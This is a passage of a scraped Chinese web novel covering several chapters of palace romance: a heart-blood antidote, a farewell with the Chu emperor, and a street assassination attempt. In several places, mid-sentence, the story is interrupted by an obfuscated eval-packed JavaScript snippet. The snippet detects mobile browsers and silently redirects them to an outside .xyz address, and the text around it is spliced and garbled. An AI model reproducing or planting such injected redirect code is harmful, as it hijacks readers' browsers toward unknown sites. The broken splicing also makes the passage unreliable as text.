安文夕收拾好脸色,双颊上浮现的绯红也渐渐消退,看着月清绝和月无双手中端着的药碗问道:“不过是送药,让袭匀来就好了,你们何必亲自来一趟。” “这可是息子魂殇的解药,本公子不亲自来,怎么能解得了呢?” 月无双小心翼翼的将药碗放在了小几上,安文夕这才发现她手中端着的药碗中,药汁澄澈,泛着淡绿,若是不知道的人,定以为是上好的雨前茶。 “来吧,是你自己来,还是本公子来?”月清绝看了北宫喆一眼,从药箱里取出一支又粗又长的银针,里内中空,形状类似针管。 “这是?”安文夕忍不住问道。 “息子魂殇额解药如今还需最后一味药,心头血!” “心头血?”安文夕一把拉住北宫喆的手,摇头道:“不要,北宫喆不要!” “夕姐姐,没事的。” “你放心吧,曹太后可以利用你的心头血操控你,那是因为她会用傀儡术,而如今就不同了。” “那就是说他没事了?” “有事,怎么会没没事,取心头血疼着呢!”月清绝一本正经道。 “喆哥哥不怕疼的,夕姐姐你就放心吧,还是早日将你身上的息子魂殇解了吧。”月无双补充道。 北宫喆接过月清绝递来的银针,一把褪下去了外衫,月无双立即转过了身去。 半晌,北宫喆露出白皙精瘦的上身,将手中的银针至于心口之处,缓缓将针头推了进去。 安文夕握着他另一只手的力道不由得加大,双目紧紧盯着一寸寸深入心口的银针。 月清绝神情闲淡,转过身去,不知道从药箱里摸出了什么东西,全部放进了药碗中,原本淡绿的颜色渐渐变黄。 半晌,他抬眸对北宫喆道:“要取满满一针管血。” 北宫喆仍旧慢慢的推着针头,仿佛是为了让血液好渗入到针管之中似得。他目光依旧清冷,眉头也微皱一下,好像根本不是在取自己的心头血一般。 终于,北宫喆不再推动,而是原处旋转了一圈,此时,整个银针几乎全部没入北宫喆的心口。 北宫喆倏地一下将银针拔出,“嗖——”一股鲜血顺着针管蓦地喷出。 “趁新鲜,赶紧放里面。”月清绝催促道。 此时银针里面已然灌了满满一针管的鲜血,北宫喆身子一颤,抬手将银针的鲜血全部注入到药碗中。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522407|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“北宫喆……” 北宫喆淡锁眉头,因为注入了鲜血,药碗之中淡淡的黄色变成了红色。 “还愣了做什么,赶紧喝了吧。”月清绝扫了眼安文夕,要知道他为了配好这息子魂殇的解药可是煞费工夫。 “北宫喆,你怎么样?” 心头血可不是随随便便就取得的! “夕儿,朕没事,来喝药。”北宫喆眸光渐柔,伸手端起了小几上的药碗。 入口是一股淡淡的血腥还夹带着一抹淡淡的苦涩,还有一丝几乎要被淹没的清香,安文夕还是第一次喝这么怪味道的药汤。 月清绝这边已经利落的给北宫喆处理好了伤口。 饮尽最后一口药汁,安文夕顿时觉得眼前一黑,白瓷碗径直从手中滑落,身子往后倒去。 “啪——”安文夕手中的药碗被摔的粉碎。 “夕儿……”北宫喆一把抱住安文夕,不悦的皱眉,“她这是怎么了?” “喆哥哥,你不要担心,哥哥说这是正常现象。” 月清绝点头,“这药本就气势过强,所以才让你用你的心头血压一压。你放心,她睡一觉就没事了。” “好,她若是有什么事,朕就将你扒干净了扔到大街上!” 月清绝咬牙,“北宫喆,算你狠。” 他辛辛苦苦配药,不说功劳,也有苦劳吧,结果到头来一句感激没有,换来的全是威胁! 月无双鄙视道:“哥,你太弱了!” “哼,你以为我愿意么?”他用嘴皮子说话,而北宫喆用拳头说话,这有可比性么? “夕姐姐要休息了,咱们走吧。” “走!”月清绝冷哼。 月无双挽上月清绝的胳膊,在他耳边轻声道:“我约了欢凉在海棠树下。”然后对他挑了挑眉。 “哥,不用谢我。” 月清绝拍了拍月无双的肩膀,迫不及待的扛起了药箱。 北宫喆将安文夕平放在了榻上,扯过被子为她盖上,右手慢慢覆上了她的小腹,那里正孕育着一个小生命。 从初识于七杀阵,到如今她能安静的躺在他的身旁,他们之间已经走过太多太多的心酸苦楚。 北宫喆想到这里,脑袋里蓦地一阵空白,为什么他现在只记得他将她从七杀阵中救了出来,而不记得那次在七杀阵究竟发生了什么了呢? 难道现在就开始遗忘了么,看着她的睡颜,北宫喆脸上浮起一抹苦涩。 半晌,青玄悄无声音的进入殿内,来到北宫喆身侧,抱拳道:“皇上,左言那里有消息了。” “人呢?” “已经救回来了,只是已经面目全非了。” 北宫喆眸光一紧,飞快的在安文夕脸上掠过,“无碍,她可以认得出的。” “皇上,那慕容清气数已经尽了,只是被他偷走的传国玉玺……” “朕心中有数,你传书左言,让他带着人去青末山庄。” “是,皇上,夏宫……” 北宫喆眸光微缩,冷哼道:“如今已经是曹太后的天下了?” 青玄不敢接话,立即垂下了头,片刻道:“启禀皇上,曹太后又有喜了!” 第163章 不想知道 第一百六十三章不想知道 这几日来,北宫喆每日用过早膳就被楚君昱叫走,说是向他请教棋艺,至于他们之间到底发生了何事,安文夕半点不知情。 而安文夕最近被妊娠反应折磨不堪,除了酸的,几乎吃不进东西,人消瘦了不少,急的欢凉团团转。安文夕整个人也懒洋洋的,不愿走动,每日傍晚北宫喆都要拉着她去海棠树下散步。 安文夕斜斜的躺在软榻上,吃着楚君昱送来的杨梅,姿态慵懒极了,欢凉在一旁守着她,看着她吃着酸的要命的杨梅,不觉拧眉。 “公主,这么酸的东西,你怎么吃得这么津津有味?我都替你酸。” “我倒不觉得酸,就是觉得有点涩。” “玉公子……不对,是楚皇,对公主真好,现在还不是杨梅成熟的季节,他却不知道从何处给公主搜罗了这么多杨梅。” 安文夕一滞,半晌含丨住一颗杨梅道:“玉公子的确好,只是……” 安文夕话还未说完,一抹黑影悄无声音溜进了房间,安文夕手中的杨梅骨碌碌滚了下去。 “是你。”安文夕慢慢起身,眼前的男人正是一直待在楚君昱身边的暗影。 “瑾淑妃。”暗影抱拳道。 “私闯本宫寝殿,这就是大楚的待客之道么?”安文夕声音渐冷。 “暗影来得匆忙,还请瑾淑妃多多见谅。”暗影躬身道。 “不知你此番前来所为何事?” “临近上巳节,我皇明日启程回京,那件事情瑾淑妃若是考虑好了,今日就去找皇上。” “哦,原来是这件事情,本宫已经考虑清楚了,只是这是你们皇上让你悄悄来告诉本宫的?”安文夕淡淡挑眉,毕竟一个暗卫突然出现在自己的房间内,这事放谁身上都会不舒服。 暗影蓦地一窘,“暗影神出鬼没惯了,请瑾淑妃莫怪。” “没事,走吧。”安文夕扯出手帕,优雅的擦了擦手。 “瑾淑妃,我皇此时正和夏皇下棋……” “无妨,本宫也想出去走走。”安文夕此时已经从软榻上起身,搭上了欢凉的手。 安文夕走得很慢,走到离楚君昱所住的暖仪殿不远处的凉亭里歇了下来,平时北宫喆和楚君昱下棋都是辰时多一点的时候才会结束,而现在已经快到辰时了,她不妨在这里等着北宫喆出来她再进去。 暖仪殿内,茶香淡淡,热气袅袅。 楚君昱盯着自己溃败的黑子,脸上没有半分失意,反而噙着一抹意味深长的笑意。 北宫喆脸上依旧清冷,半晌,凉薄的唇吐出一句话来,“还要朕接着下么?” “好吧,朕认输便是。” “没想到楚皇有如此耐性。”每局都是输,可是对方却下得不亦乐乎。 “彼此彼此。”北宫喆是棋中圣手,而他却每局必输,他不一样有耐心陪着他下么? “楚皇明日回宫?” “夏皇的消息倒是灵通。” “上巳节要到了,你不能不回宫。”北宫喆淡淡勾唇,他此时不在夏宫,朝堂不知道被曹太后霍乱成什么样子了。 “朕回宫之前,和夏皇做个交易如何?” 北宫喆闻言淡淡瞥了他一眼,看着他嘴角渐深的笑意,眸光微敛。 “朕听闻夏皇再找一颗心脏,一颗合适江向晚的心脏。” 北宫喆眸光敛尽,半晌倏地勾唇一笑,指尖摩挲着杯沿道:“楚皇的消息更为灵通。” “朕这里就有合适的人选,朕打算用这颗心脏和夏皇做个交换如何?” “朕不换!”北宫喆语气骤冷。 楚君昱这只狐狸在计算什么,他心中一清二楚。 对面的楚君昱不怒反笑,“夏皇就不想知道朕想换什么么?” “不想知道!你只记住你我之间的约定就好了!”北宫喆说着捏起一粒白子,随后一落,楚君昱的棋顿时被困成死局。 北宫喆扫了眼楚君昱,径直起身,“时间不早了,告辞。” “北宫喆,你难道不想听听朕想和你换什么么?” “不需要。”北宫喆扔下这几个字大步流星的出了暖仪殿。 楚君昱看着北宫喆的背影,嘴角的笑意更深了几分,端起茶盏,浅抿了一口,对身后道,“胭脂何时来?” “一会就到。” 北宫喆出了暖仪殿,远远地就瞧见了凉亭里的安文夕,不觉间加快了脚步。 “夕儿,你怎么来了?”她今天怎么主动出来走动了。 “你和他下完棋了?” 北宫喆点点头,“你找他有事?”他的眉头略皱。 “有事,你回去等我,我去去就来。” 看着她一脸坦然的模样,北宫喆捏了捏她的手心,“去吧,自己小心点。” 安文夕踏入暖仪殿,一股淡淡的龙涎香萦绕在她的鼻翼,透过重叠翻飞的纱幔,安文夕依稀看见楚君昱峻拔的身形。 楚君昱面前的棋盘早被撤下,他往对面的青瓷盏中添了些茶水,听到一阵细微的脚步声,头也未回道:“胭脂,你来了。” “玉公子。”安文夕坐在了他的对面。 “尝尝刚采摘的明前毛尖。” 安文夕略略点头,“杨梅的事情,多谢玉公子了。” “胭脂客气了,再说朕只送了一次而已。” 一次?那她这么多天来吃的难道是……北宫喆? “朕明天启程回盛京,至于那件事,朕想在临走之前听听你的想法,所以才唐突将你请来。” “我决定了,我答应你的要求。不过我想陪他三个月,等他忘了我之后我再来西楚。”安文夕嘴角嘴角勾起一抹淡笑。 “好。”楚君昱抿唇道,他知道她一定会同意的,可是他的心中却更加苦涩。 “你好不容易来一次西楚,而这郦城就是先前跟你提过朕的母妃故乡,风景宜人,本打算带你去走走看看,不曾想你如今有了身子……”楚君昱的眸光淡淡扫了眼安文夕的小腹处。 “以后还有机会的。” “经此一别,胭脂在夏宫,多多保重。” 后宫之中,最多的便是女人,他也是生在深宫之中,对于那些女人的手段与阴狠再清楚不过。 “你放心吧,我会好好保护自己的。” “这是西楚几种宫廷秘药及对应的解药,你收着,多多小心身边之人。”自从她上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529468|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次因手炉一事中了醉朦胧之后,他就怀疑在她的身边必有西楚的密探。 他现在虽然查到了,可是却动不了她! 安文夕收了药,跟楚君昱道了谢,听他的语气,好像是知道什么一般。 她浅啜了一口,赞道:“的确是好茶。” “你喜欢就好。” 楚君昱的眸光渐渐炙热起来,安文夕有些不自然的放下了手中的青瓷盏,起身告退道:“快到午时了,我就不耽误你用午膳了。” “胭脂,那件事你真的决定了么?”楚君昱蓦地拉住了安文夕的手腕,“你可知你会以怎样的身份进宫?你让天下人怎么看你?” 安文夕脚步一滞,缓缓回过头来,“我知道。” 不就是以他的妃子身份么,反正她早就被人们当做了祸国妖姬,她自是不再在乎名声。 “你,不怕被天下人诟病么?”安文夕反问。 “朕不在乎,朕的江山与女人无关,而胭脂不一样。”楚君昱敛尽妖娆的凤眸,一脸正色道。 “你既然知道这样,为何还要逼我?”安文夕微微勾唇,半晌道,“我向来身正不怕影子斜,自然是不惧的。” 她说完这一句便跨出了暖仪殿。 徒留嘴角噙着苦笑的楚君昱怔怔的立在大殿之中,微微摇曳的纱幔将他的背影衬得更加萧寂。 胭脂,总有一日,你会明白朕的苦心,也会明白那个男人的苦心。 朕所做的,没有哪个不是为了你好,那个男人亦是,只不过,那个男人比他幸福罢了。 暗影慢慢掠至楚君昱身后,低声道:“皇上。” “暗影,安排一下,明日一早,启程回宫!” “是,属下明白。” 用过午膳之后,北宫喆便出了门,这几日来,他经常不在景泉宫,安文夕也懒得追究他到底去了哪,又去做了什么。 她正打算歇午觉,就被一阵嘈杂的声音吵得无法入睡。 “欢凉,你去外面瞧瞧究竟发生了何事?” “是,公主。”欢凉微微给她拉了拉被子。 景泉宫外,雪嫣头发凌乱不堪,一身罗裙也脏的不堪入目,光着脚在景泉宫门口不断地来回踱着步子。 “皇上,让我见皇上,小姐疯了,疯了,哈哈哈哈……”雪嫣嘴里念念有词,突然冷不丁的跌坐在地上,接着她就坐在了地上,不断的胡喊一些疯话。 “这人呢,北宫喆不在,就连青玄也不在么?”欢凉皱眉,怎么任由她在这里发疯? 只见雪嫣发疯了般的从地上爬起,向她奔来,然后扑通跪在了地上,不住的磕头道:“瑾淑妃娘娘,求您救救奴婢,奴婢不想死,不想死。” 欢凉立即侧身避开了她,看着雪嫣疯疯癫癫的样子,不由得皱眉,只怕这个丫头已经疯了。 “不好,小姐又来了,她要带我走,我不要走,不要走……” “小姐,求求你不要吸奴婢的血。” 雪嫣一会神经兮兮的摇头,一会拼命的在地上磕头,就连白皙的额头都磕红肿了一片。 “赶紧离开这里,否则别怪我不客气!”欢凉忍不住皱眉,这个雪嫣在这里发疯还没完没了了! 第164章 盛京上巳 第一百六十四章盛京上巳 “瑾淑妃,求求你,不要赶奴婢走,救救奴婢吧。”雪嫣跪在地上苦苦哀求。 欢凉咬牙,强忍着不把她一掌拍飞的冲动,拉起她的手腕,将她拖拽着往江向晚的琉璃阁走去,瞥见了不远处走来的袭匀,没好气道:“你还不赶紧过来帮忙!” “对一个小丫头下手,太失本公子风范了!”袭匀不以为意道。 欢凉怒,“少废话,赶紧过来!” “瑾淑妃,求求你,我不要回去,我若是回去,小姐……小姐一定会杀了我的!”雪嫣苦苦哀求道。 “这丫头……疯了?” “疯了!” 欢凉不顾雪嫣的大喊大叫,一直拖着她走,厉声道:“给我闭嘴,不然本姑娘就在这里结果了你!” 许是欢凉的气势太过吓人,雪嫣顿时忘记了喊叫,怔怔的盯着欢凉手中已经出鞘的长剑。 “臭丫头,你看,都把人家小姑娘吓傻了。” “她本来就傻,带她回去!”欢凉一把将雪嫣扔给袭匀,自己转身回了景泉宫,她可不放心公主一个人待在殿内。 “哎,怎么好端端的将这个疯丫头交给我呀!” 景泉宫内,安文夕躺在软榻上假寐,半晌睁开眼道:“既然来了,为何不现身?” 她的话音刚落,一抹暗青色的衣摆掠过,白底黑靴映入安文夕的眼帘,她略略抬眸,红唇微勾,“江向晚让你来的?” 惊魂没有说话,只听得安文夕浅笑道:“调虎离山的把戏她还真是百用不厌。” “属下参见瑾淑妃。” “这虚礼就免了,说说吧,你今日来是要我的性命还是要我腹中孩儿的性命?” “属下不敢。”惊魂低头。 “你既然都来了,还有什么不敢的?” “那日在灵丘秋猎,属下欠了瑾淑妃一条命,属下是断然不会恩将仇报的。属下今日来怕就是防止晚儿前来这里伤害瑾淑妃。” “惊大人多虑了,你退下吧。” 惊魂本来还在犹豫,听到殿外传来的一阵浅浅的脚步声,眸光微敛,身形一闪,顿时消失在了大殿内。 “公主,你没事吧。” “没事,外面怎么回事?” “是江向晚的贴身婢女,好像是疯了,跑来这里胡喊,我已经让袭匀带她回去了。” 安文夕略略点头,“我困得厉害想睡一会。” “公主睡吧,欢凉就在旁边守着。” 琉璃阁前,北宫喆负手而立,江向晚满脸的不舍与不愿,颇为幽怨的看着一旁的北宫喆。 北宫喆看着江向晚我见犹怜的模样,微微蹙眉,“路上注意安全。” “喆,你真的要赶我走?” “朕没有赶你走,只不过让你和惊魂先行一步。” “可是,晚儿想和你一起走。”她咬了咬下唇,“你知道,我……我一旦魔性发作,别人都害怕我……” 她的话音未落,远远地就听到一声尖叫,“啊!小姐,不要啊小姐!” 看着袭匀将雪嫣送来,江向晚眼底飞快的闪过一抹狠色。 “喆,我是个妖怪,你看雪嫣她……只有你不会嫌弃我……” “小姐,不要杀奴婢,求求小姐,求求小姐。”雪嫣看到江向晚就如看到魔鬼一般,整个人不断地发起抖来,眼睛瞪得大大的,警惕的打量着众人。 “惊魂呢?”北宫喆敛眸,淡淡扫了眼疯癫的雪嫣。 惊魂从北宫喆身后现身道:“属下在。” 江向晚看到陡然现身的惊魂,眸色深了几分。 “即刻送江小姐回国!” “属下遵命!” “喆,我不走……” “还有三个月你我就要大婚了,你难道不要准备一下么,到时别让天下人耻笑!”北宫喆脸色冷淡,看不出半分喜色。 “喆……你说的是真的?” 看着她满脸惊喜,北宫喆脸色凉淡如水,转身朝景泉宫走去。 袭匀上前一步,蹙眉道:“你当真打算立她为后?那我小师妹呢,她可怀了你的孩子!” 北宫喆脚步一顿,淡淡看了他一眼道:“自然是真的,这可是国婚!” 袭匀咬牙,“北宫喆,你真不是个男人!” 北宫喆早已走远,笔挺的后背将倨傲的帝王之尊彰显的淋漓尽致。 “雪嫣,还不过来!”江向晚厉声道,她淡淡蹙眉,这个雪嫣算是废了。 “晚儿,雪嫣她……” “虽然疯了,到底是我从家里带出来的,怎么能留在外面。” “啊!小姐,不要,您饶了奴婢吧……”雪嫣死死地拽着袭匀的衣角不肯撒手。 “你这个疯丫头赶紧放开本公子!”袭匀再怒。 “惊魂,你去将她带回来吧。”江向晚扫了眼雪嫣,径自上了马车。惊魂走到雪嫣面前,一掌劈晕雪嫣,将她带上了马车。 江向晚走了之后,第二日一早楚君昱就启程回了夏宫,又过了一日,北宫喆和安文夕也动身回大夏。 路经盛京之时,正好赶上上巳节,盛京街头车水马龙,一大早便人头攒动,街旁商贩云集,热闹非凡。不少世家贵族公子小姐趁着上巳节的机会相伴而行,或相约登山踏青或花间赏花或曲水流觞、吟诗作对。 而盛京位于郦城东北方向,且在承安西南,是他们回大夏的毕竟之路,由于安文夕怀有身孕,马车行的很慢,听着马车外面的喧嚣,仿佛又回到以前承安上巳节一般,心中不禁一阵向往。 伸手触到马车车厢侧面的车帘,最终还是没有掀开,抿了抿唇,闭上了眼睛,开始闭目养神。 “夕儿,你想去看看?”半晌,一直大手握住了她的小手。 “不去了,我现在想立即会去见父皇。” “就是回承安,也不急在一时,我们下去瞧瞧如何?”北宫喆眸光沁出了一丝暖意,他现在的记忆就已经开始消退了,他只想尽可能的多陪陪她,多创造些属于他们的记忆。 “好。”安文夕轻轻应道。 “青玄,到前面停车。”北宫喆隔着车帘对青玄吩咐道。 “是,皇上。” 后面的马车上坐着月清绝兄妹和欢凉袭匀,看到前方北宫喆将安文夕抱下了马车,也都各自下了车。 “夕姐姐,我们要在这里逗留一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529469|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日么?”月无双忍不住问道,她常年待在枫月谷无聊的很,如今看到这热闹的场面,早就忍不住下来了。 安文夕点点头,挽上了北宫喆的胳膊。 “太好了!” 月清绝一把拉住兴奋的月无双道:“无双,你别乱跑,你要是丢了,我可没处寻你!” “放心吧,我都这么大的人了,丢不了的。” “保证也没用。”月清绝撇嘴,然后一把扯着她扔给了袭匀,对身边的欢凉道:“小丫头,本公子带你去逛逛。” “喂,闷骚月,你自己亲妹子不管,竟敢丢给我!还有,说好的公平竞争,你现在**有意思么?” 说话间,月清绝和欢凉已经走远。 月无双一把挽住袭匀的胳膊撒娇道:“袭匀哥哥,你拉着点无双,不要把无双弄丢了。” 袭匀不耐烦的挥掉月无双的手道:“你这丫头,懂不懂男女授受不亲,我的胳膊是你挽的么?” “小气!”月无双撅了撅嘴,追了上去。 北宫喆和安文夕走在最前面,人流如潮,北宫喆小心翼翼的将安文夕圈在了怀中,生怕有人不小心碰到了她。 盛京大街,许多少女发带桃花,聘婷袅袅,顾盼生姿,人比花娇。 安文夕嘴角噙着淡笑,看着从她面前经过的三五成群的少女,双眸内流露出一抹轻快,几年前的她也曾偷溜出宫,像许多世家小姐一般在上巳节时在承安大街游荡,或者扮作凤公子在烟花之地、风雅画舫抚琴作乐。当年的她,的确是不识愁滋味,肆意潇洒。 “别动,让朕看看朕的小夕儿美不美。”北宫喆轻柔的将一朵开的正好的桃花插在了她的发间。 “我美么?”安文夕嘴角含笑抬头看向北宫喆,这一句似娇似嗔。 看着她向从前那样待他,北宫喆心情极好,握在她腰间的手又紧了几分,“美。” 月清绝淡淡扫了安文夕头上的桃花,从一旁买桃花的摊上拈起一朵,刚欲插到欢凉发间,却不料被欢凉一把打落,“你做什么?” “我……我觉得你戴着好看。” 欢凉脸色丨微红,随即深吸一口气道:“我不喜欢。”说完快走两步,心却砰砰的跳得厉害。 “这位公子,刚才那位姑娘不要你不如送与我好了。”一位姑娘从月清绝身边经过之时,大着胆子说道。 月清绝淡淡扫了她一眼,立即追了上去,“欢凉等等我。” “风流鬼。”袭匀鄙视的看了他一眼。 “快走快走,一会皇上和皇后娘娘的辇车从此经过,别挡了路!”一群官兵突然前来,将行人赶走,清理出了大片的道路。 “我们去那边吧。”安文夕对北宫喆浅浅道。 “好。”北宫喆揽着安文夕转了方向,刚走不远,看到前方白玉盘内的颗颗红豆,他的脚步顿时一顿。 “玲珑骰子安红豆,入骨相思君知否。”他不自觉间念出了这句诗。 “你还记得。” “朕自然记得,当初在潇湘馆的时候,为何不接朕的红豆。” “那时,我是凤轻歌,不是安文夕。” 北宫喆知道,她那时还恨着他。 第165章 再**客 第一百六十五章再**客 “北宫喆,那以前我送你的红豆你还留着么?” “自然是扔了,你都不留恋了,朕还留着作甚?” “罢了,扔就扔了吧。”安文夕上前一步,抬眸看着对面的商贩道:“这位小哥,我想买几颗红豆。” “夕儿……” “你既然把以前的都扔了,我再重新送给你便是,你可不许嫌弃这寻常之物。” “不嫌弃。”北宫喆嘴角噙起了一抹浅笑。 安文夕拈起一颗颗红豆,扯过红线,将红豆仔细的串了起来,半垂着眼睑,认真的模样令北宫喆心中升起一阵暖意。 “这位公子真是好福气,娶了这么一位蕙质兰心的女子。”卖红豆的小哥忍不住称赞道。 北宫喆静静地看着穿针引线的安文夕,连眉梢都沁出了他没有察觉的温柔。 “好了,我给你戴上吧。”安文夕拉过北宫喆的手,将一串红豆戴到了他的手上。 “刚好。” “真丑!”北宫喆眼中含笑,却毫不犹豫的嫌弃道。 “不愿意戴拉倒!”安文夕刚想从他手腕上退下来,却被他一把按住了手。 “朕说不戴了么,朕就喜欢丑的!”霸道的语气令安文夕忍不住勾唇浅笑。 “那你以后都得戴着,睡觉的时候也不许摘下,每当看到它的时候要记得想起我,可不许忘了。”若是这样的话,你是否就不会忘了我呢。安文夕说到最后,语气中多了丝不易察觉的伤感。 北宫喆神情一动,难道她知道了什么? “嗖——” 就在这时,一支羽箭带着凌冽之气破空而来。 “小心——”北宫喆揽着安文夕,身子蓦然翻转,右手一把抓住飞来的羽箭,转瞬将整支羽箭捏的粉粹。 “皇上,您先带着瑾淑妃离开这里,属下善后。”青玄陡然现身。 “走!”北宫喆足尖轻点,带着安文夕直接从众人头顶掠过。 “喂,你们还没给银子呢?”那个卖着红豆的小哥放下抱拳的双臂,冲着北宫喆和安文夕的背影喊道。 下一瞬,一锭银子在空中划过一道长长的弧度落在了小哥的摊上。 他们还没有走远,原本热闹的大街中,突然从人群里冒出了几个黑衣人,纷纷亮出了雪亮的弯刀,脚步极快,直逼北宫喆怀中的安文夕。 怎么会在盛京遇到刺客?安文夕略略挽眉,这些黑衣人的目的很明确,那就是要取她的性命,她自觉不曾在西楚得罪了什么人。 蜂拥而上的黑衣人出手又快又狠,且招招狠戾。 北宫喆眉头微蹙,他自然可以感觉得到来人一心想要取他怀中小人的性命,他一手揽着安文夕,一手持着长剑,右手一翻,长剑横扫,面前的黑衣人的脑袋登时骨碌碌滚了下去,鲜红的鲜血顿时喷洒了出来。 “啊,**了!**了!”原本拥挤的人潮立即慌乱起来,热闹的盛京长街变得混乱不堪,整个街头狼藉一片。 北宫喆双眸微眯,挥起长剑,再次斩落几颗头颅,一时间鲜血四溅,肉末横飞。 “唔~”安文夕闻着浓郁的血腥,胃里一阵翻涌。 北宫喆看着安文夕略皱的眉头,立即收了长剑,一掌将对面的黑衣人掀翻,然后从衣袖里摸出了一粒杨梅,递到她的唇边。 “夕儿,你怎么样?” 安文夕将杨梅含在口中,这才压下胃中的翻涌,“我还好。” 陌姑姑待在马车内,蹙眉观察着北宫喆那里的情形,忍不住掷出一枚枚**,她现在满头银发,太过引人注目,根本就不能出去。 就算她被困在马车内,她也决不允许有人伤害他的儿子和未来的孙子! 北宫喆带着安文夕稳稳地落在了马车之上,欢凉和袭匀等人立即将马车团团围住,就在这时,一排黑衣劲装男子突然现身,和刚才的那批弯刀黑衣人交缠起来,来人并未蒙面,为首的人正是暗影。 楚君昱来救他们了! 弯刀黑衣人显然认得暗影的身份,他们扫了眼远处安文夕所在的马车,对视了一眼,不甘心道:“撤!” 北宫喆眸光微敛,沉声道:“青玄,你去!” “是,属下遵命!” 北宫喆揽着安文夕,眉宇之间尽是担忧,“夕儿,还难受么。” 安文夕摇了摇头,脸色有些发白,淡淡道:“走吧。” 马车轻摇,远离了这一片血腥。 过了片刻,青玄回来复命道:“启禀皇上,属下该死,让他们给逃走了!” “无妨,这件事想必楚君昱会给我一个答案的。”更何况,他隐约可以猜到一点。 云庙祭祀祈福之时,楚君昱始终拉着一张脸,他身侧的月紫琼妆容精致,盛装吉服,高贵雍容。 “请皇上上香。”下方的国师执了香递给楚君昱,而楚君昱仿佛在静静地思考什么,压根就没有听见国师的话。 “请皇上上香。” 楚君昱身形依旧,国师看着袅袅的青烟,不禁用衣袖擦了擦额头,他实在是没有勇气再说第三次了。 “皇上,国师大人请您上香呢。”月紫琼忍不住提醒道她面带浅笑,举止雍容,将母仪天下的姿态彰显的淋漓尽致。 国师立即感激的看了眼月紫琼。 楚君昱径直走到国师身边,接过他手中的香,恭敬地插到了香炉里。 他从头到尾都没有看月紫琼一眼,原本应有月紫琼上的香他也全部代劳,这就等于在所有百姓面前狠狠地打了月紫琼一巴掌。 如今她这个西楚皇后还有什么地位可言? 她强忍着心中的不甘与怒气,提起重重的凤服跟了上去,她是一国之母,她要有母仪天下的气度,决不能因此和他闹脾气,她忍! “皇上,您等等臣妾。” 楚君昱不禁没有等她,反而加快了脚下的步子,分明就是不想让她跟来。 “皇上……啊……”月紫琼不小心踩到了脚下逶迤三尺有余的裙摆,脚下不稳,身子顿时一个趔趄,若不是她身旁的侍女眼疾手快扶了她一把,那么明日她月紫琼恐怕就会成为天下人的笑柄了! 突然,前方的楚君昱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16537707|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停住了脚步,转身朝月紫琼走来。 她顿时心中一喜,他到底是怜惜她的! 楚君昱紧绷着一张脸,就连平日里妖娆的眉目都染了几分愠怒,“你以后最好给朕安分点,西楚世家千金多得是,皇后并不是非你不可。” “皇上在说什么,臣妾不懂。”月紫琼压下心底的惊骇与酸涩,双颊含笑着问道。 “哼。”楚君昱一拂衣袖,连基本的尊敬都没有留给她,他是在是不想看到这个女人虚伪的嘴脸了。 月紫琼不禁失笑起来,她这个皇后到底不过是表面风光罢了。她和他成亲那么久,他竟然从未碰她,他宁愿夜夜宿在别的女人那里,亦或者是书房,也不愿意留在她的宫内。 她当初的坚持错了么? 不,她没有错,她只要牢牢抓住皇后的位子,然后再想办法诞下她的子嗣,那么她在西楚的地位就牢不可动!等她成为万人之上时,谁还会不将她放在眼里? 楚君昱回到宫中,暗影已经在一旁等着复命了。 “启禀皇上,此次刺杀瑾淑妃是……皇后娘娘和八公主共同联手……” “哼!”他不用猜也知道是谁! “你去将这个给八公主。” 暗影接过楚君昱抵来的令牌一阵阵心惊,这次八公主可是触犯了皇上的底线,皇上竟然将赐死令牌给她。 就算八公主手里有先皇赐的免死金牌又能如何?更何况,先皇已经不在了,她以前再得宠都没用了! “跟她说,她下次再不安分的话,这西楚就要少一位公主了!” “是,属下遵命。” 楚君昱紧抿着唇,上年大夏和西楚交战,虽然战败,也不至于发生献上公主和亲这么有失国体的事情,可她偏偏自作主张,哄得病入膏肓的先皇特许她去大夏和亲,谁知却被北宫喆果断拒绝,西楚的脸也算是丢尽了!如今,她还一而再再而三挑战他的底线,他可不会向先皇那样宠着她! 